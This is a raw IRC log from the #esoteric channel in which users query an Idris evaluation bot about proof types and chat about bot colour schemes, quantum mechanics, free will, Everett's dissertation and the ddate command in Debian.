:oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :unfortunately i'm only good at pointing out parsing errors :( < 1393823987 541817 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393824162 335559 :nisstyre!yourstruly@oftn/member/Nisstyre JOIN :#esoteric < 1393824201 543012 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t (Type, [Type]) < 1393824201 728280 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Can't disambiguate name: Prelude.List.::, Prelude.Stream.::, Prelude.Vect.:: < 1393824202 451480 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824208 808284 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t with List (Type, [Type]) < 1393824208 993314 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :04(12Type04, 04[12Type04]04) : 12(12Type12, 12List 12Type12) < 1393824209 680037 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824221 966167 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hmm, was hoping for someting more bizzare < 1393824224 697609 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t Type < 1393824224 883169 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :12Type : 12Type 1 < 1393824225 580952 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824241 696876 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Was hoping to get something like (Type 1, List Type) < 1393824256 126488 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think Type 1, Type 2, etc. is normally hidden by Idris < 1393824268 424796 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :well not as good as lambdabot < 1393824403 571029 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t the (so (2 == 2)) oh < 1393824403 756764 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :09the (12so (09fromInteger 042 09== (09fromInteger 042))) 04oh : 12so (09fromInteger 042 09== (09fromInteger 042)) < 1393824404 577312 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824424 585797 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t the (so (2 == 3)) oh < 1393824424 771152 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1393824424 956506 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : 12so 04True < 1393824425 141777 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :with < 1393824425 141933 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : 12so (09fromInteger 042 09== (09fromInteger 043)) < 1393824425 142022 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1393824425 469760 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824446 367505 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How does Idris know to ... keep holding onto that function, as is, in the type? < 1393824451 714994 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Once it checks unification < 1393824455 892696 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is that what it's doing? < 1393824477 153976 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1393824500 970178 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t the (so (1 + 1 == 2)) (the (so (2 == 1 + 1)) oh) < 1393824501 877681 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824502 353675 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :09the (12so (09fromInteger 041 09+ (09fromInteger 041) 09== (09fromInteger 042))) (09the (12so (09fromInteger 042 09== (09fromInteger 041 09+ (09fromInteger 041)))) 04oh) : 12so (09fromInteger 041 09+ (09fromInteger 041) 09== (09fromInteger 042)) < 1393824509 818489 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393824524 601226 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what are the, so, and oh < 1393824530 789420 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t the < 1393824531 14956 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Basics.the : (13a : 12Type) -> 13a -> 13a < 1393824531 631418 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824548 393178 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :> :t oh < 1393824548 601459 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.Bool.oh : 12so 04True < 1393824549 400612 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824550 50248 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :the takes a type and gives id for that type, basically, coercing something to the type < 1393824562 808859 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(If it typechecks) < 1393824572 493485 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So, it's like :: on an expression in Haskell, except as a function < 1393824593 567563 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :> :t so < 1393824593 791414 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :12Prelude.Bool.so : 12Bool -> 12Type < 1393824594 428124 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824607 395025 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :> so True < 1393824607 601850 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :12so 04True : 12Type < 1393824608 451236 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `so' < 1393824608 639332 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1393824608 639485 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `s' (imported from Debug.SimpleReflect), < 1393824608 639597 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `o' (imported from Debug.SimpleReflect), < 1393824608 639688 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `iso' (imported from Control.Lens) < 1393824619 909079 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ok, this one i don't get. < 1393824676 75730 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :They're poorly named, because someone thought oh so True sounded funny < 1393824684 349106 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :somehow i expected that. < 1393824689 144910 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :> oh so True < 1393824689 331291 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:4:04oh does not have a function type (12so 04True) < 1393824690 110132 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `oh' < 1393824690 295186 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1393824690 295323 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `or' (imported from Data.List), < 1393824690 295412 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `F.or' (imported from Data.Foldable), < 1393824690 295500 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `h' (imported from Debug.SimpleReflect)Not in scope: `so' < 1393824701 402614 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :shrug < 1393824710 890282 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :so (some boolean expression) is a type that requires a proof that the boolean expression is true < 1393824725 636590 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Because there's a way to construct a so True, but no way to construct a so False < 1393824737 552284 :rambomedic!~rambomedi@108-217-109-227.lightspeed.irvnca.sbcglobal.net PART #esoteric :"Leaving" < 1393824759 784552 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 244 seconds < 1393824773 213616 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t choose < 1393824773 399179 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Either.choose : (13b : 12Bool) -> 12Either (12so 13b) (12so (09not 13b)) < 1393824774 124609 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393824798 678880 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :You can construct so's with choose, which takes a boolean and gives Either the proof that it's true or the proof that it's not true < 1393824806 252951 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :As in Left prf or Right prf < 1393824839 402218 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Which you can then pass to a function expecting a proof of that boolean < 1393824991 844046 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Best explanation I see (this is where I got my understanding from) < 1393824992 171720 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :https://groups.google.com/d/msg/idris-lang/eLn2vfQofoc/drn6fq3cilcJ < 1393825157 692792 :newsham_!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :colorized lambdabot? < 1393825171 99100 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Ping timeout: 265 seconds < 1393825342 571783 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it does idris rather than haskell. < 1393825357 596342 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i must say the colors seemed a lot less annoying in webchat. < 1393825425 123604 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think there's a purpose to them, I'm not sure what it is < 1393825550 164594 :ion!ion@heh.fi PRIVMSG #esoteric :That usage of Left/Right seems flipped compared to Haskell. < 1393825566 9430 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Yeah :( < 1393825598 925730 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well, type variables are pink and type constructors are blue, for a start < 1393825622 808476 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Constructors are red < 1393825637 332183 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :um... data constructors? < 1393825676 455854 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :and functions are green. except i don't know what's going on with choose because i'm not a type person ololol < 1393826022 841807 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What about, things other than type variables, type constructors, data constructors, functions, etc? Such as comments? < 1393826048 325194 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :how would you go about getting the bot to display a comment < 1393826186 330248 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know, but probably it would need to know what color to use, in case you typed in the comment yourself, for example. < 1393826238 607399 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it's a bot, not an editor. < 1393826266 685319 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, but you still need to know the color in case you are syntax highlighting code you have written by yourself (it doesn't have to be an editor). < 1393826342 196207 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :why would idris do that < 1393826348 67716 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :idris-ircslave i mean < 1393827358 182721 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :So that you can use the same colors in other programs, mainly. < 1393828141 253694 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 264 seconds < 1393828357 745601 :ion!ion@heh.fi PRIVMSG #esoteric :`coins < 1393828360 191932 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :lrrcoin selfcoin bfficasmilcoin chneuroncoin gammascoin unlamcoin minimamcoin chamcoin taxicoin neurcoin piecescoin armocoin spircoin bfmcoin befannationcoin browcoin hoshcoin sallercoin x+coin waideaucoin < 1393828389 393144 :ion!ion@heh.fi PRIVMSG #esoteric :Which hosh algorithm does your cryptocoin use? < 1393828496 577066 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know! < 1393828583 949679 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :triple des - seven times, for security < 1393828609 119047 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Bike: You should use uncorrelated keys with each one. < 1393828641 686266 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have read report of quantum psychokinesis ("The strange properties of psychokinesis" by H. Schmidt, 1987). It look to me these experiements are inconclusive because they are insufficient, and I can think of many ways to improve the experiments. However, RPKP now lists many more reports of other experiments, much of which are the improvments I have thought of. < 1393828905 171467 :password2!~password@197.78.166.46 QUIT :Read error: No route to host < 1393828958 590429 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you agree with me the experiments mentioned in the report named there seems to be a bit insufficient? < 1393829124 981776 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :8i would not be surprised < 1393829175 777072 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Bike: Can you please be more specific? < 1393829190 639211 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :unlikely < 1393829242 540577 :nisstyre!yourstruly@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1393829313 196374 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It has been claimed that quamtum mechanics permits psychic phenomena. According to my opinion, that is like claiming that Einstein's relativity permits time travel. Do you agree/disagree? < 1393829478 397817 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1393829559 648161 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Sure, why not < 1393829708 382546 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Slereah_: Can you explain more specific what you mean by that? I don't quite understand, why not what, to be specific? < 1393829725 5349 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I found a 404 error page that lists error message in many languages, including semaphore flags. < 1393829858 260701 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1393829886 109921 :atslash!~atslash@46.72.83.247 JOIN :#esoteric < 1393829948 649838 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(It is the ibiblio error message) < 1393829981 322412 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I'm just kidding~ < 1393829987 984482 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Although relativity does permit time travel < 1393829997 841350 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :General relativity is lousy with time travelling solutions < 1393830010 724574 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Whether they're physical is another matter though < 1393830064 180529 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :OK < 1393830152 983166 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Even pretty common solutions like the Kerr solution < 1393830189 25655 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Though it's not really physical because the closed timelike curves are very unstable in the Kerr solution < 1393830317 474601 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes I have read about those things < 1393830332 983127 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Which is why I say what I did < 1393830368 339331 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :...but that's not at all like saying QM permits magic? < 1393830535 45782 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :While time travel is a bit marginal because of the probable non-physicality, it is a legitimate field of research of relativity < 1393830535 601043 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I didn't say magic; I said, some kinds of psychic phenomena, not necessarily all kinds. < 1393830543 738937 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Well any really < 1393830560 865888 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Whether or not it is possible is unknown, but it is as unstable as those time travel solutions at least. < 1393830580 898283 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :The time travel solutions are mathematically proved to exist < 1393830593 424002 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I don't think there's any hint that QM permits psychic powers < 1393830615 675676 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Really even articles about any link between QM and the human brain raises red flags < 1393830667 797754 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I don't know why but some people are really into the idea that QM is somehow related to consciousness < 1393830670 668999 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :There is link between QM and everything, the human brain included, but really it is just a part of a universe. Dividing them into different physical objects in that way is just one way to do so, and doesn't seem relevant here. < 1393830685 731753 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Even though it's pretty unlikely because of the scales involved < 1393830694 777550 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It isn't specifically to do with consciousness or human thoughts. < 1393830711 709759 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Sure, the human brain does work on QM, but in the classical limit mostly < 1393830754 947755 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, mostly in the classical limit. It too is how I have said before, there is two kind of free will. < 1393830816 483022 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Classical free will, which is illusory and is mostly the effect, and quantum free will, which is more free but has little effect. < 1393830838 334658 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I don't even know why people care about free will < 1393830840 977850 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Clearly the same laws of physics must effect everything, regardless of scale. < 1393830847 957655 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It doesn't really seem like something desirable < 1393830865 192481 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is just that it doesn't have the effect much compared to scale. < 1393830892 827631 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And I mean everything as a whole, rather than as individual parts. < 1393830941 788898 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Whether free will is desirable or not is not the point at all. < 1393830965 996600 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It kinda is. < 1393830973 649828 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Otherwise people wouldn't work so hard on it. < 1393831056 553247 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :zzo38: have you read http://www-tc.pbs.org/wgbh/nova/manyworlds/pdf/dissertation.pdf < 1393831061 789929 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i'm slowly pretending to read it < 1393831076 556050 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have not looked < 1393831081 343708 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I can try to look now < 1393831121 237362 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Slereah_: Maybe, to those people it is, but I mean it isn't the point to what my philosophies of science to figure out such things, are. < 1393831174 431067 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Bike: Can I buy the book? It is too many pages that I would want to print on my own computer. < 1393831176 930188 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Well free will is kind of a trivial problem if you allow for both non-determinism and reductionism < 1393831263 573625 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't allow for reductionism. There is many ways to split things into parts, none of which is "real". < 1393831283 800441 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :What do you allow for < 1393831287 29902 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Dualism? < 1393831292 688992 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Emergent properties? < 1393831321 779141 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Emergent properties, yes. < 1393831332 337692 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :zzo38: it's a dissertation. they're kind of hard to find hard copies of, at least for sale. maybe a uni library has it. < 1393831333 896752 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't believe in Cartesian dualism. < 1393831348 682580 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :anyway it seems you-ish 'Since the universal validity of the state function description is asserted, one can regard the state functions themselves as the fundamental entities, and one can even consider the state function of the entire universe. In this sense this theory can be called the theory of the "universal wave function," since all of physics is presumed to follow from this function alone' < 1393831363 705299 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :zzo38 : http://www.ditext.com/broad/mpn14.html#t < 1393831369 608872 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Please point to your case! < 1393831387 939622 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :also, it's by an actual physicist instead of a crazy person (hard to distinguish eh) < 1393831436 139853 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Well, they certainly are better if they are by an actual physicist, or at least by someone who understands much of physics. < 1393831468 755002 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Also gotta go < 1393831471 115120 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Exams and all < 1393831499 954527 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the author is hugh everett iii; this is his dissertation, where the many-worlds interpretation came from < 1393831525 789660 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Slereah_: I would have to read that extensively to do so, but then maybe I will. < 1393831625 74215 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Bike: I prefer the "constraint interpretation" which actually I made up. Mathematical equations are possible to have many solutions, one solution, or no solutions, and may or may not be computable. < 1393831741 595123 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :However, I have made up a lot of crazy things, not only this, but also "matrix accounting". < 1393831817 455083 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :sounds very relevant to wavefunctions < 1393832166 220627 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@ask boily Well, is the text of the strips available? < 1393832166 405918 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1393832429 168192 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393832455 326429 :password2!~password@197.78.166.46 JOIN :#esoteric < 1393832550 593404 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Bike: What is relevant to wavefunctions? < 1393832567 547280 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :matrix accounting < 1393832597 254694 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393832893 644251 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Not really, although it does use Dirac notation. < 1393832909 494111 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It doesn't have much to do with physics. < 1393832919 646769 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Although it uses similar notations. < 1393832951 330285 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :heyyyyyy folks here's a shitass of books https://archive.org/details/folkscanomy < 1393833443 342788 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1393833779 370961 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1393834643 385567 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1393835125 93268 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1393835229 657857 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: happy lawful good day < 1393835238 818741 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: indeed < 1393835267 21194 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's a good day for it, too, for reasons I don't really want to go into due to lawful goodness < 1393835286 865296 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :happy MJD 56719 day. < 1393835306 644860 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :happy September 7489! < 1393835350 51741 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :happy september 7489 < 1393835367 889484 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Happy ddate: command not found. < 1393835407 777775 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :interesting, especially because ddate's in default installs of Debian because it's in the same package as something really important < 1393835412 138275 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :IIRC mount < 1393835427 751477 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In util-linux, yes. < 1393835433 655393 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Ubuntu patched it out, and I'm at work now. < 1393835451 336714 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ah no, it was mkfs I was thinking of < 1393835461 718802 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Actually, Debian patched it out too, and then restored it. It's all there in the util-linux bug lists.) < 1393835468 725012 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`ddate < 1393835469 677504 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Today is Boomtime, the 62nd day of Chaos in the YOLD 3180 < 1393835528 389959 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :this means of course that ubuntu users will be doomed when CHAOS comes < 1393835554 971514 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric : \renewcommand{\arraystretch}{1.1} < 1393835558 244008 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Argh. < 1393835566 3848 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :How did that end up in the selection? < 1393835579 481700 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :stretching and renewing with latex < 1393835579 683089 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/cJNd is what I was trying to say. < 1393835694 816439 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"People with more traditional moral values might not appreciate a reference to or advertisement for this movement being present on their system." #149321 < 1393835762 526687 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(#174459, #180737 were actual technical issues with ddate.) < 1393835819 115533 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=149321 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=650321 < 1393835831 637281 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :interestingly, both bug numbers end with the same last three digits < 1393835858 429176 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :is there an islamic date somewhere in the system? i imagine a way to use discrimination issues to raise some hell... < 1393835898 485691 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: clearly the work of eris < 1393835959 837806 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :my long-standing belief includes the ban on non-ISO-8601 date formatting (so that `date` alone crashes) < 1393835967 479048 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :ok, you know that series of books about Emil? < 1393835984 297441 :oerjan!oerjan@sprocket.nvg.ntnu.no 